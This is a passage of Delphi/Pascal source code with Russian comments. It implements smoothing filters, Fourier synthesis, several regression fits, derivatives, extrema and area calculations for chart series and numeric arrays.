4 * ValueArray[(j + 5) * Coef + k] + ValueArray[(j + 6) * Coef + k]) /
42;
if (j > 2) and (j < Length(resv[0]) - 3) then
resv[k][j] :=
(7 * ValueArray[j * Coef + k] + 6 * (ValueArray[(j - 1) * Coef + k] +
ValueArray[(j + 1) * Coef + k]) + 3 * (ValueArray[(j - 2) * Coef + k]
+
ValueArray[(j + 2) * Coef + k]) - 2 * (ValueArray[(j - 3) * Coef + k]
+
ValueArray[(j + 3) * Coef + k])) / 21;
if j = Length(resv[0]) - 3 then
resv[k][j] := (-4 * ValueArray[j * Coef + k] +
16 * ValueArray[(j - 1) * Coef + k] + 19 * ValueArray[(j - 2) * Coef +
k] +
12 * ValueArray[(j - 3) * Coef + k] + 2 * ValueArray[(j - 4) * Coef +
k] -
4 * ValueArray[(j - 5) * Coef + k] + ValueArray[(j - 6) * Coef + k]) /
42;
if j = Length(resv[0]) - 2 then
resv[k][j] := (8 * ValueArray[j * Coef + k] +
19 * ValueArray[(j - 1) * Coef + k] + 16 * ValueArray[(j - 2) * Coef +
k] +
6 * ValueArray[(j - 3) * Coef + k] - 4 * ValueArray[(j - 4) * Coef + k]
-
7 * ValueArray[(j - 5) * Coef + k] + 4 * ValueArray[(j - 6) * Coef +
k]) / 42;
if j = Length(resv[0]) - 1 then
resv[k][j] := (39 * ValueArray[j * Coef + k] +
8 * ValueArray[(j - 1) * Coef + k] - 4 * ValueArray[(j - 2) * Coef + k]
-
4 * ValueArray[(j - 3) * Coef + k] - 4 * ValueArray[(j - 4) * Coef + k]
+
ValueArray[(j - 5) * Coef + k] - 2 * ValueArray[(j - 6) * Coef + k]) /
42;
end;
for j := Coef to Length(resv[0]) - Coef do
for k := 0 to Coef - 1 do
ValueArray[j * Coef + k] := resv[k][j];
end;
//Фильтр с кубическими сплайнами
procedure CubicSplineSmoothing(var ValueArray: TDoubleArray; Dsc: double;
Coef: integer);
var
j, k, i, N: integer;
vresv, resv: array of array of double;
maxv: array of double;
av, h, mi, mj, v1, v2: double;
begin
if (Coef = 0) or (Coef = 1) then
Exit;
N := Length(ValueArray);
SetLength(resv, Coef, N);
h := Coef * Dsc;
for k := 0 to Coef - 1 do
for j := 0 to (N div Coef) - 2 do
begin
if j = 0 then
begin
mi := (4 * ValueArray[(j + 1) * Coef + k] -
ValueArray[(j + 2) * Coef + k] - 3 * ValueArray[j * Coef + k]) / 2;
mj := (ValueArray[(j + 2) * Coef + k] - ValueArray[j * Coef + k]) / 2;
end;
if j = (N div Coef) - 2 then
begin
mi := (ValueArray[(j + 1) * Coef + k] - ValueArray[(j - 1) * Coef + k])
/ 2;
mj := (3 * ValueArray[(j + 1) * Coef + k] + ValueArray[(j - 1) * Coef +
k] -
4 * ValueArray[j * Coef + k]) / 2;
end;
if (j > 0) and (j < ((N div Coef) - 2)) then
begin
mi := (ValueArray[(j + 1) * Coef + k] - ValueArray[(j - 1) * Coef + k])
/ 2;
mj := (ValueArray[(j + 2) * Coef + k] - ValueArray[j * Coef + k]) / 2;
end;
for i := j * Coef to (j + 1) * Coef do
begin
v1 := ((j + 1) * Coef + k) * Dsc - (i + k) * Dsc;
v2 := (i + k) * Dsc - (j * Coef + k) * Dsc;
resv[k][i + k] := (Sqr(v1) * (2 * v2 + h) * ValueArray[j * Coef + k] +
Sqr(v2) * (2 * v1 + h) * ValueArray[(j + 1) * Coef + k] +
(Sqr(v1) * v2 * mi + Sqr(v2) * (-v1) * mj) / 2) / h / h / h;
end;
end;
for j := Coef to N - 1 - Coef do
begin
av := 0;
for k := 0 to Coef - 1 do
av := av + resv[k][j];
av := av / Coef;
ValueArray[j] := av;
end;
end;
//Гармонический синтез Фурье
procedure FourierAnalysis(var ValueArray: TDoubleArray; NumGarmonics: integer);
var
i, j, N: integer;
yn, ap, bp: double;
AFCoef, BFCoef: TDoubleArray;
begin
N := Length(ValueArray);
SetLength(AFCoef, NumGarmonics);
SetLength(BFCoef, NumGarmonics);
AFCoef[0] := Sum(ValueArray) / N;
BFCoef[0] := 0;
for i := 1 to NumGarmonics - 1 do
begin
AFCoef[i] := 0;
BFCoef[i] := 0;
for j := 0 to N - 1 do
begin
AFCoef[i] := AFCoef[i] + ValueArray[j] * cos(Pi * i * j * 2 / N);
BFCoef[i] := BFCoef[i] + ValueArray[j] * sin(Pi * i * j * 2 / N);
end;
AFCoef[i] := AFCoef[i] * 2 / N;
BFCoef[i] := BFCoef[i] * 2 / N;
end;
for j := 0 to N - 1 do
begin
yn := 0;
ap := 0;
bp := 0;
for i := 1 to NumGarmonics - 1 do
begin
ap := ap + AFCoef[i] * cos(2 * Pi * i * (j / N));
bp := bp + BFCoef[i] * sin(2 * Pi * i * (j / N));
end;
yn := AFCoef[0] + ap + bp;
ValueArray[j] := yn;
end;
end;
//Общая процедура вызова нужного фильтра
procedure DoArraySmoothing(var ValueArray: TDoubleArray; FilterType: integer;
Dsc: double; SplitCoef, ExpandCoef: integer; CycledFilter: boolean);
var
j: integer;
begin
smoothA := nil;
rsmooth := ValueArray;
ArrayExpanding(rsmooth, ExpandCoef);
ArrayLengthening(smoothA, SplitCoef);
if FilterType = 1 then
if CycledFilter then
for j := 2 to SplitCoef do
SevenPointNonLinearSmoothing(smoothA, Dsc, j)
else
SevenPointNonLinearSmoothing(smoothA, Dsc, SplitCoef);
if FilterType = 2 then
CubicSplineSmoothing(smoothA, Dsc, SplitCoef);
ArrayShortening(smoothA, SplitCoef);
ValueArray := smoothA;
end;
//Расширение массива заданным числом точек справа и слева
procedure ArrayLengthening(var ValueArray: TDoubleArray; SplitValue: integer);
var
sv, N, i: integer;
bv, ev: double;
begin
N := Length(ValueArray);
sv := 10 * SplitValue;
bv := 0;
ev := 0;
for i := 0 to 9 do
bv := bv + ValueArray[i];
bv := bv / 10;
for i := N - 1 downto N - 10 do
ev := ev + ValueArray[i];
ev := ev / 10;
SetLength(ValueArray, N + sv);
for i := N - 1 downto 0 do
ValueArray[i + trunc(sv / 2)] := ValueArray[i];
for i := trunc(sv / 2) - 1 downto 0 do
ValueArray[i] := bv;
for i := N + trunc(sv / 2) to N + sv - 1 do
ValueArray[i] := ev;
end;
//Сокращение массива заданным числом точек справа и слева
procedure ArrayShortening(var ValueArray: TDoubleArray; SplitValue: integer);
var
sv, N, i: integer;
begin
N := Length(ValueArray);
sv := 10 * SplitValue;
for i := 0 to N - sv - 1 do
ValueArray[i] := ValueArray[i + trunc(sv / 2)];
SetLength(ValueArray, N - sv);
end;
//Расширение массива заданным числом точек между 2-мя соседними
procedure ArrayExpanding(var ValueArray: TDoubleArray; ExpandCoef: integer);
var
i, k, N, sub: integer;
diap: double;
begin
N := Length(ValueArray);
sub := ExpandCoef - 1;
SetLength(smoothA, N * ExpandCoef - sub);
for i := 0 to N - 1 do
begin
smoothA[i * ExpandCoef] := ValueArray[i];
if i <> 0 then
begin
diap := (smoothA[i * ExpandCoef] - smoothA[(i - 1) * ExpandCoef]);
for k := 0 to ExpandCoef - 1 do
smoothA[(i - 1) * ExpandCoef + k] :=
smoothA[(i - 1) * ExpandCoef] + diap * (k / ExpandCoef);
end;
end;
end;
//Линейная регрессия
procedure LinearRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries,
DestSeries: TChartSeries; var MainCoef, FreeCoef: double;
SeriesColor: TColor; var Hint: string);
var
b0, b1, xsum, ysum, pxy, xsqua: double;
y, x: array of double;
i, N: integer;
s: string;
begin
if ValueArray <> nil then
N := Length(ValueArray)
else
N := SourceSeries.XValues.Count;
pxy := 0;
xsqua := 0;
SetLength(x, N);
SetLength(y, N);
for i := 0 to N - 1 do
begin
if ValueArray <> nil then
begin
y[i] := ValueArray[i];
x[i] := ArgumentArray[i];
end
else
begin
y[i] := SourceSeries.YValues.Value[i];
x[i] := SourceSeries.XValues.Value[i];
end;
pxy := pxy + x[i] * y[i];
xsqua := xsqua + x[i] * x[i];
end;
xsum := Sum(x);
ysum := Sum(y);
b1 := (xsum * ysum - N * pxy) / (xsum * xsum - N * xsqua);
b0 := (ysum - b1 * xsum) / N;
MainCoef := b1;
FreeCoef := b0;
if DestSeries <> nil then
for i := 0 to N - 1 do
if ValueArray <> nil then
DestSeries.AddXY(ArgumentArray[i],
b1 * ArgumentArray[i] + b0, '', SeriesColor)
else
DestSeries.AddXY(SourceSeries.XValues.Value[i],
b1 * SourceSeries.XValues.Value[i] + b0, '', SeriesColor);
if b0 < 0 then
s := ''
else
s := '+ ';
Hint := Format('%0.3f', [b1]) + '*X ' + s + Format('%0.3f', [b0]);
x := nil;
y := nil;
end;
//Гиперболическая регрессия
procedure HyperbolicRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries; var MainCoef, FreeCoef: double;
SeriesColor: TColor; var Hint: string);
var
b0, b1, ax, ysum, axsqua, dxy: double;
y, x: array of double;
i, N: integer;
s: string;
begin
if ValueArray <> nil then
N := Length(ValueArray)
else
N := SourceSeries.XValues.Count;
axsqua := 0;
ax := 0;
dxy := 0;
SetLength(x, N);
SetLength(y, N);
for i := 0 to N - 1 do
begin
if ValueArray <> nil then
begin
y[i] := ValueArray[i];
x[i] := ArgumentArray[i];
end
else
begin
y[i] := SourceSeries.YValues.Value[i];
x[i] := SourceSeries.XValues.Value[i];
end;
if x[i] = 0 then
begin
MessageDlg('Hyperbolic regression inapplicable...',
mtWarning, [mbOk], 0);
Hint := 'No equation';
MainCoef := 0;
FreeCoef := 0;
Exit;
end;
dxy := dxy + y[i] / x[i];
ax := ax + 1 / x[i];
axsqua := axsqua + 1 / (x[i] * x[i]);
end;
ysum := Sum(y);
b1 := (dxy - (ysum * ax) / N) / (axsqua - (ax * ax) / N);
b0 := (ysum - b1 * ax) / N;
MainCoef := b1;
FreeCoef := b0;
if DestSeries <> nil then
for i := 0 to N - 1 do
if ValueArray <> nil then
DestSeries.AddXY(ArgumentArray[i],
b1 / ArgumentArray[i] + b0, '', SeriesColor)
else
DestSeries.AddXY(SourceSeries.XValues.Value[i],
b1 / SourceSeries.XValues.Value[i] + b0, '', SeriesColor);
if b0 < 0 then
s := ''
else
s := '+ ';
Hint := Format('%0.3f', [b1]) + '/X ' + s + Format('%0.3f', [b0]);
x := nil;
y := nil;
end;
//Степенная регрессия
procedure PowerRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries; var MainCoef, FreeCoef: double;
SeriesColor: TColor; var Hint: string);
var
b0, b1, lnx, lny, xlnsqua, plnxy: double;
y, x: array of double;
i, N: integer;
begin
if ValueArray <> nil then
N := Length(ValueArray)
else
N := SourceSeries.XValues.Count;
lnx := 0;
lny := 0;
xlnsqua := 0;
plnxy := 0;
SetLength(x, N);
SetLength(y, N);
for i := 0 to N - 1 do
begin
if ValueArray <> nil then
begin
y[i] := ValueArray[i];
x[i] := ArgumentArray[i];
end
else
begin
y[i] := SourceSeries.YValues.Value[i];
x[i] := SourceSeries.XValues.Value[i];
end;
if (x[i] <= 0) or (y[i] <= 0) then
begin
MessageDlg('Power regression inapplicable...', mtWarning, [mbOk], 0);
Hint := 'No equation';
MainCoef := 0;
FreeCoef := 0;
Exit;
end;
lnx := lnx + ln(x[i]);
lny := lny + ln(y[i]);
plnxy := plnxy + ln(x[i]) * ln(y[i]);
xlnsqua := xlnsqua + ln(x[i]) * ln(x[i]);
end;
b1 := (lnx * lny - N * plnxy) / (lnx * lnx - N * xlnsqua);
b0 := exp((lny - b1 * lnx) / N);
MainCoef := b1;
FreeCoef := b0;
if DestSeries <> nil then
for i := 0 to N - 1 do
if ValueArray <> nil then
DestSeries.AddXY(ArgumentArray[i],
Power(ArgumentArray[i], b1) * b0, '', SeriesColor)
else
DestSeries.AddXY(SourceSeries.XValues.Value[i],
Power(SourceSeries.XValues.Value[i], b1) * b0, '', SeriesColor);
Hint := Format('%0.3f', [b0]) + '*X^' + Format('%0.3f', [b1]);
x := nil;
y := nil;
end;
//Полиномиальная регрессия
procedure PolynomialRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries; PolyDegree: integer;
var ArrayCoefs: TDoubleArray; SeriesColor: TColor; var Hint: string);
var
bcoef, dcoef: TDoubleArray;
ccoef: array of TDoubleArray;
i, j, k, N: integer;
polynom: double;
begin
if ValueArray <> nil then
N := Length(ValueArray)
else
N := SourceSeries.XValues.Count;
Hint := '';
ArrayCoefs := nil;
SetLength(ccoef, PolyDegree + 1);
for i := 0 to Length(ccoef) - 1 do
SetLength(ccoef[i], PolyDegree + 1);
SetLength(dcoef, PolyDegree + 1);
SetLength(bcoef, PolyDegree + 1);
for i := 0 to Length(dcoef) - 1 do
begin
dcoef[i] := 0;
for j := 0 to N - 1 do
begin
if ValueArray <> nil then
dcoef[i] := dcoef[i] +
Power(ArgumentArray[j], i) * ValueArray[j]
else
dcoef[i] := dcoef[i] + Power(SourceSeries.XValues.Value[j], i) *
SourceSeries.YValues.Value[j];
end;
for j := 0 to Length(ccoef) - 1 do
begin
ccoef[i][j] := 0;
for k := 0 to N - 1 do
begin
if ValueArray <> nil then
ccoef[i][j] :=
ccoef[i][j] + Power(ArgumentArray[k], i + j)
else
ccoef[i][j] := ccoef[i][j] + Power(SourceSeries.XValues.Value[k], i +
j);
end;
end;
end;
for i := 0 to Length(ccoef) - 2 do
for j := i + 1 to Length(ccoef) - 1 do
begin
ccoef[j][i] := -ccoef[j][i] / ccoef[i][i];
dcoef[j] := dcoef[j] + ccoef[j][i] * dcoef[i];
for k := i + 1 to Length(ccoef) - 1 do
ccoef[j][k] := ccoef[j][k] + ccoef[j][i] * ccoef[i][k];
end;
bcoef[Length(bcoef) - 1] := dcoef[Length(dcoef) - 1] /
ccoef[Length(bcoef) - 1][Length(bcoef) - 1];
for i := Length(ccoef) - 2 downto 0 do
begin
for j := i + 1 to Length(ccoef) - 1 do
bcoef[i] := bcoef[i] + bcoef[j] * ccoef[i][j];
bcoef[i] := (dcoef[i] - bcoef[i]) / ccoef[i][i];
end;
SetLength(ArrayCoefs, Length(bcoef));
for i := 0 to Length(bcoef) - 1 do
ArrayCoefs[i] := bcoef[i];
if DestSeries <> nil then
for i := 0 to N - 1 do
begin
polynom := 0;
if ValueArray <> nil then
begin
for j := 0 to PolyDegree do
polynom := polynom + bcoef[j] * Power(ArgumentArray[i], j);
DestSeries.AddXY(ArgumentArray[i], polynom, '', SeriesColor);
end
else
begin
for j := 0 to PolyDegree do
polynom := polynom +
bcoef[j] * Power(SourceSeries.XValues.Value[i], j);
DestSeries.AddXY(SourceSeries.XValues.Value[i],
polynom, '', SeriesColor);
end;
end;
for j := PolyDegree downto 0 do
Hint := Hint + Format('%0.3f', [bcoef[j]]) + '*X^' + IntToStr(j);
dcoef := nil;
bcoef := nil;
ccoef := nil;
end;
//Показательная регрессия
procedure ExponentRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries; var MainCoef, FreeCoef: double;
SeriesColor: TColor; var Hint: string; Warning: boolean);
var
i, N: integer;
x, y: array of double;
lgy, xsum, xsqua, a, b, lga, xlgy, lgb: double;
begin
if ValueArray <> nil then
N := Length(ValueArray)
else
N := SourceSeries.XValues.Count;
lgy := 0;
xsqua := 0;
xlgy := 0;
SetLength(x, N);
SetLength(y, N);
for i := 0 to N - 1 do
begin
if ValueArray <> nil then
begin
y[i] := ValueArray[i];
x[i] := ArgumentArray[i];
end
else
begin
y[i] := SourceSeries.YValues.Value[i];
x[i] := SourceSeries.XValues.Value[i];
end;
if y[i] <= 0 then
begin
if Warning then
MessageDlg('Exponent regression inapplicable',
mtWarning, [mbOk], 0);
Hint := 'No equation';
MainCoef := 0;
FreeCoef := 0;
Exit;
end;
lgy := lgy + Log10(y[i]);
xsqua := xsqua + x[i] * x[i];
xlgy := xlgy + x[i] * Log10(y[i]);
end;
xsum := Sum(x);
lgb := (xlgy - (lgy * xsum) / N) / (xsqua - (xsum * xsum) / N);
lga := (lgy - lgb * xsum) / N;
b := Power(10, lgb);
a := Power(10, lga);
MainCoef := b;
FreeCoef := a;
if DestSeries <> nil then
for i := 0 to N - 1 do
if ValueArray <> nil then
DestSeries.AddXY(ArgumentArray[i],
a * Power(b, ArgumentArray[i]), '', SeriesColor)
else
DestSeries.AddXY(SourceSeries.XValues.Value[i],
a * Power(b, SourceSeries.XValues.Value[i]), '', SeriesColor);
Hint := 'Exponent regression equation: Y = ' +
Format('%0.5f', [a]) + ' * (' + Format('%0.5f', [b]) + ' ^ X)';
x := nil;
y := nil;
end;
//Экспоненциальная регрессия
procedure ExponentialRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries; var MainCoef, FreeCoef: double;
SeriesColor: TColor; var Hint: string; Warning: boolean);
var
i, N: integer;
x, y: array of double;
lny, xsum, xsqua, xlny, b0, b1: double;
begin
MainCoef := 0;
FreeCoef := 0;
if ValueArray <> nil then
N := Length(ValueArray)
else
N := SourceSeries.XValues.Count;
lny := 0;
xsqua := 0;
xlny := 0;
SetLength(x, N);
SetLength(y, N);
for i := 0 to N - 1 do
begin
if ValueArray <> nil then
begin
y[i] := ValueArray[i];
x[i] := ArgumentArray[i];
end
else
begin
y[i] := SourceSeries.YValues.Value[i];
x[i] := SourceSeries.XValues.Value[i];
end;
if y[i] <= 0 then
begin
if Warning then
MessageDlg('Exponential regression inapplicable',
mtWarning, [mbOk], 0);
Hint := 'No equation';
MainCoef := 0;
FreeCoef := 0;
Exit;
end;
lny := lny + Ln(y[i]);
xsqua := xsqua + x[i] * x[i];
xlny := xlny + x[i] * Ln(y[i]);
end;
xsum := Sum(x);
b1 := (xsum * lny - N * xlny) / (xsum * xsum - N * xsqua);
b0 := exp((lny - b1 * xsum) / N);
MainCoef := b1;
FreeCoef := b0;
if DestSeries <> nil then
for i := 0 to N - 1 do
if ValueArray <> nil then
DestSeries.AddXY(ArgumentArray[i],
b0 * Exp(b1 * ArgumentArray[i]), '', SeriesColor)
else
DestSeries.AddXY(SourceSeries.XValues.Value[i],
b0 * Exp(b1 * SourceSeries.XValues.Value[i]), '', SeriesColor);
Hint := 'Exponential regression equation: Y = ' +
Format('%0.5f', [b0]) + ' * exp(' + Format('%0.5f', [b1]) + ' * X)';
x := nil;
y := nil;
end;
//Степенно-экспоненциальная регрессия
procedure ExpPowerRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries; var MainCoef, FreeCoef: double;
SeriesColor: TColor; var Hint: string; Warning: boolean);
var
i, N: integer;
x, y: array of double;
matr: array[0..3] of double;
lny, xsum, xsqua, xlny, b0, b1: double;
begin
MainCoef := 0;
FreeCoef := 0;
if ValueArray <> nil then
N := Length(ValueArray)
else
N := SourceSeries.XValues.Count;
lny := 0;
xsqua := 0;
xlny := 0;
SetLength(x, N);
SetLength(y, N);
for i := 0 to N - 1 do
begin
if ValueArray <> nil then
begin
y[i] := ValueArray[i];
x[i] := ArgumentArray[i];
end
else
begin
y[i] := SourceSeries.YValues.Value[i];
x[i] := SourceSeries.XValues.Value[i];
end;
if y[i] <= 0 then
begin
if Warning then
MessageDlg('Exponent-Power regression inapplicable',
mtWarning, [mbOk], 0);
Hint := 'No equation';
MainCoef := 0;
FreeCoef := 0;
Exit;
end;
lny := lny + Ln(y[i]);
xsqua := xsqua + x[i] * x[i];
xlny := xlny + x[i] * Ln(y[i]);
end;
xsum := Sum(x);
b1 := (xsum * lny - N * xlny) / (xsum * xsum - N * xsqua);
b0 := exp((lny - b1 * xsum) / N);
MainCoef := b1;
FreeCoef := b0;
if DestSeries <> nil then
for i := 0 to N - 1 do
if ValueArray <> nil then
DestSeries.AddXY(ArgumentArray[i],
b0 * Exp(b1 * ArgumentArray[i]), '', SeriesColor)
else
DestSeries.AddXY(SourceSeries.XValues.Value[i],
b0 * Exp(b1 * SourceSeries.XValues.Value[i]), '', SeriesColor);
Hint := 'Exponent-Power regression equation: Y = ' +
Format('%0.5f', [b0]) + ' * exp(' + Format('%0.5f', [b1]) + ' * X)';
x := nil;
y := nil;
end;
//Общая процедура проверки массива
procedure CheckArrayBounds(var CArray: TDoubleArray; var FromPoint, ToPoint:
integer);
begin
if FromPoint < 0 then
FromPoint := 0;
if (ToPoint <= 0) or (ToPoint > Length(CArray) - 1) then
ToPoint := Length(CArray) - 1;
if FromPoint > ToPoint then
ToPoint := FromPoint;
end;
//Общая процедура проверки серии
procedure CheckSeriesBounds(CSeries: TChartSeries; var FromPoint, ToPoint:
integer);
begin
if FromPoint < 0 then
FromPoint := 0;
if (ToPoint <= 0) or (ToPoint > CSeries.XValues.Count - 1) then
ToPoint := CSeries.XValues.Count - 1;
if FromPoint > ToPoint then
ToPoint := FromPoint;
end;
//Извлечение массива из массива
procedure ArrayFromArray(var SourceArray, DestArray: TDoubleArray;
FromPoint, ToPoint, Discrete: integer; Derivative: boolean);
var
i: integer;
begin
DestArray := nil;
if SourceArray = nil then
DestArray := nil
else
begin
CheckArrayBounds(SourceArray, FromPoint, ToPoint);
if Discrete = 0 then
Discrete := 1;
if Derivative = false then
begin
SetLength(DestArray, ((ToPoint - FromPoint) div Discrete) + 1);
for i := 0 to Length(DestArray) - 1 do
DestArray[i] :=
SourceArray[i * Discrete + FromPoint];
end
else
begin
SetLength(DestArray, ((ToPoint - FromPoint) div Discrete));
for i := 1 to Length(DestArray) do
DestArray[i - 1] :=
(SourceArray[i * Discrete + FromPoint] -
SourceArray[i * Discrete + FromPoint - 1]) / Discrete;
end;
end;
end;
//Извлечение массива из серии
procedure ArrayFromSeries(var ValueArray: TDoubleArray; DataSeries:
TChartSeries;
FromPoint, ToPoint, Discrete: integer; Derivative: boolean);
var
i: integer;
begin
if DataSeries = nil then
ValueArray := nil
else
with DataSeries do
begin
CheckSeriesBounds(DataSeries, FromPoint, ToPoint);
if Discrete = 0 then
Discrete := 1;
if Derivative = false then
begin
SetLength(ValueArray, ((ToPoint - FromPoint) div Discrete) + 1);
for i := 0 to Length(ValueArray) - 1 do
ValueArray[i] :=
YValues.Value[i * Discrete + FromPoint];
end
else
begin
SetLength(ValueArray, ((ToPoint - FromPoint) div Discrete));
for i := 1 to Length(ValueArray) do
ValueArray[i - 1] :=
(YValues.Value[i * Discrete + FromPoint] - YValues.Value[i * Discrete
+ FromPoint - 1]) /
(XValues.Value[i * Discrete + FromPoint] -
XValues.Value[i * Discrete + FromPoint - 1]);
end;
end;
end;
//Извлечение серии из массива
procedure SeriesFromArray(var ValueArray: TDoubleArray; DataSeries:
TChartSeries;
FromPoint, ToPoint, Discrete: integer; Derivative: boolean);
var
i, n: integer;
begin
if DataSeries = nil then
Exit
else
with DataSeries do
begin
Clear;
CheckArrayBounds(ValueArray, FromPoint, ToPoint);
if Discrete = 0 then
Discrete := 1;
if Derivative = false then
begin
n := ((ToPoint - FromPoint) div Discrete) + 1;
for i := 0 to n - 1 do
DataSeries.AddXY(i, ValueArray[i * Discrete + FromPoint],
'', DataSeries.SeriesColor);
end
else
begin
n := (ToPoint - FromPoint) div Discrete;
for i := 1 to n do
DataSeries.AddXY(i - 1, (ValueArray[i * Discrete + FromPoint] -
ValueArray[i * Discrete + FromPoint - 1]) / Discrete,
'', DataSeries.SeriesColor);
end;
end;
end;
//Извлечение производной из массива
function DerivFromArray(var SourceArray: TDoubleArray; FromPoint, ToPoint,
Discrete: integer; Extremum: string; var Position: integer): double;
var
i: integer;
d: double;
begin
DerivFromArray := 0;
if SourceArray = nil then
DerivFromArray := 0
else
begin
CheckArrayBounds(SourceArray, FromPoint, ToPoint);
if Discrete = 0 then
Discrete := 1;
SetLength(rv, (ToPoint - FromPoint) div Discrete);
for i := 1 to Length(rv) do
rv[i - 1] := (SourceArray[i * Discrete + FromPoint] -
SourceArray[i * Discrete + FromPoint - 1]) / Discrete;
if Extremum = 'max' then
d := MaxValue(rv);
if Extremum = 'min' then
d := MinValue(rv);
if Extremum = 'mean' then
d := Mean(rv);
for i := 0 to Length(rv) - 1 do
if rv[i] = d then
begin
Position := i;
break;
end;
DerivFromArray := d;
end;
end;
//Извлечение производной из серии
function DerivFromSeries(DataSeries: TChartSeries; FromPoint, ToPoint,
Discrete: integer; Extremum: string; var Position: integer): double;
var
i: integer;
d: double;
begin
DerivFromSeries := 0;
if DataSeries = nil then
DerivFromSeries := 0
else
with DataSeries do
begin
CheckSeriesBounds(DataSeries, FromPoint, ToPoint);
if Discrete = 0 then
Discrete := 1;
SetLength(rv, (ToPoint - FromPoint) div Discrete);
for i := 1 to Length(rv) do
rv[i - 1] := (YValues.Value[i * Discrete + FromPoint] -
YValues.Value[i * Discrete + FromPoint - 1]) / (XValues.Value[i *
Discrete + FromPoint] -
XValues.Value[i * Discrete + FromPoint - 1]);
if Extremum = 'max' then
d := MaxValue(rv);
if Extremum = 'min' then
d := MinValue(rv);
if Extremum = 'mean' then
d := Mean(rv);
for i := 0 to Length(rv) - 1 do
if rv[i] = d then
begin
Position := i;
break;
end;
DerivFromSeries := d;
end;
end;
//Извлечение величины из серии
function ValueFromSeries(DataSeries: TChartSeries; FromPoint, ToPoint: integer;
Extremum: string; var Position: integer): double;
var
i: integer;
d: double;
begin
if DataSeries = nil then
ValueFromSeries := 0
else
with DataSeries do
begin
CheckSeriesBounds(DataSeries, FromPoint, ToPoint);
SetLength(rv, ToPoint - FromPoint);
for i := 0 to Length(rv) - 1 do
rv[i] := YValues.Value[FromPoint + i];
if Extremum = 'max' then
d := MaxValue(rv);
if Extremum = 'min' then
d := MinValue(rv);
if Extremum = 'mean' then
d := Mean(rv);
for i := 0 to Length(rv) - 1 do
if rv[i] = d then
begin
Position := i;
break;
end;
ValueFromSeries := d;
end;
end;
//Извлечение величины из массива
function ValueFromArray(var SourceArray: TDoubleArray; FromPoint,
ToPoint: integer; Extremum: string; var Position: integer): double;
var
i: integer;
d: double;
begin
if SourceArray = nil then
ValueFromArray := 0
else
begin
CheckArrayBounds(SourceArray, FromPoint, ToPoint);
SetLength(rv, ToPoint - FromPoint);
for i := 0 to Length(rv) - 1 do
rv[i] := SourceArray[FromPoint + i];
if Extremum = 'max' then
d := MaxValue(rv);
if Extremum = 'min' then
d := MinValue(rv);
if Extremum = 'mean' then
d := Mean(rv);
for i := 0 to Length(rv) - 1 do
if rv[i] = d then
begin
Position := i;
break;
end;
ValueFromArray := d;
end;
end;
//Вычисление площади под кривой, получаемой данными из массива
function CalculateAreaOfArray(var SourceArray: TDoubleArray;
FromPoint, ToPoint, Method: integer; BindToZero: boolean): double;
var
i: integer;
sq, subv: double;
begin
if SourceArray = nil then
CalculateAreaOfArray := 0
else
begin
CheckArrayBounds(SourceArray, FromPoint, ToPoint);
sq := 0;
if BindToZero then
subv :=
(SourceArray[ToPoint] + SourceArray[FromPoint]) / 2
else
subv := 0;
for i := FromPoint to ToPoint - 1 do
begin
if Method = 1 then
sq := sq + Abs(SourceArray[i] - subv) +
(Abs(SourceArray[i + 1] - subv) - Abs(SourceArray[i] - subv)) / 2;
if Method = 2 then
sq := sq + Abs(SourceArray[i] - subv) +
(Abs(SourceArray[i + 1] - subv) - Abs(SourceArray[i] - subv)) / 2 - 1
/ (48 * Power(0.5, 1.5));
if Method = 3 then
if (i mod 2) = 1 then
sq := sq + 2 * Abs(SourceArray[i] - subv);
if Method = 4 then
if (i mod 2) = 1 then
sq := sq + 2 * Abs(SourceArray[i] - subv) - 1 / (96 * Power(0.5,
1.5));
end;
CalculateAreaOfArray := sq;
end;
end;
//Вычисление площади под кривой, получаемой данными из серии
function CalculateAreaOfSeries(DataSeries: TChartSeries; FromPoint, ToPoint,
Method: integer; BindToZero: boolean): double;
var
i: integer;
sq, subv: double;
begin
if DataSeries = nil then
CalculateAreaOfSeries := 0
else
with DataSeries do
begin
CheckSeriesBounds(DataSeries, FromPoint, ToPoint);
sq := 0;
if BindToZero then
subv := (YValues.Value[ToPoint] +
YValues.Value[FromPoint]) / 2
else
subv := 0;
for i := FromPoint to ToPoint - 1 do
begin
if Method = 1 then
sq := sq + Abs(YValues.Value[i] - subv) +
(Abs(YValues.Value[i + 1] - subv) - Abs(YValues.Value[i] - subv)) /
2;
if Method = 2 then
sq := sq + Abs(YValues.Value[i] - subv) +
(Abs(YValues.Value[i + 1] - subv) -
Abs(YValues.Value[i] - subv)) / 2 - 1 / (48 * Power(0.5, 1.5));
if Method = 3 then
if (i mod 2) = 1 then
sq := sq + 2 * Abs(YValues.Value[i] - subv);
if Method = 4 then
if (i mod 2) = 1 then
sq := sq + 2 * Abs(YValues.Value[i] - subv) - 1 / (96 * Power(0.5,
1.5));
end;
CalculateAreaOfSeries := sq;
end;
end;
//Исключение линейной составляющей
procedure LinearTrendExclusion(var ValueArray: TDoubleArray);
var
i, N: integer;
b0, b1, nx: double;
begin
N := Length(ValueArray);
nx := 0;
for i := 0 to N - 1 do
nx := nx + (i + 1) * ValueArray[i];
b0 := (2 * (2 * N + 1) * Sum(ValueArray) - 6 * nx) / (N * (N - 1));
b1 := (12 * nx - 6 * (N + 1) * Sum(ValueArray)) / (N * (N - 1) * (N + 1));
for i := 0 to N - 1 do
begin
ValueArray[i] := ValueArray[i] - (i * b1);
end;
end;
//Расцветка серии
procedure ColorizeSeries(DataSeries: TChartSeries; NewColor: TColor);
var
i: integer;
begin
for i := 0 to DataSeries.XValues.Count - 1 do
DataSeries.ValueColor[i] := NewColor;
end;
//Задание нового приращения по оси X
procedure SetXInterval(DataSeries: TChartSeries; XInterval: double);
var
i: integer;
begin
for i := 0 to DataSeries.XValues.Count - 1 do
DataSeries.XValues.Value[i] := DataSeries.XValues.Value[i] * XInterval;
end;
//Привязка серии к новой оси
procedure SetSeriesAxis(DataSeries: TChartSeries; NewAxis: TVertAxis);
begin
DataSeries.VertAxis := NewAxis;
end;
end.
Содержание.
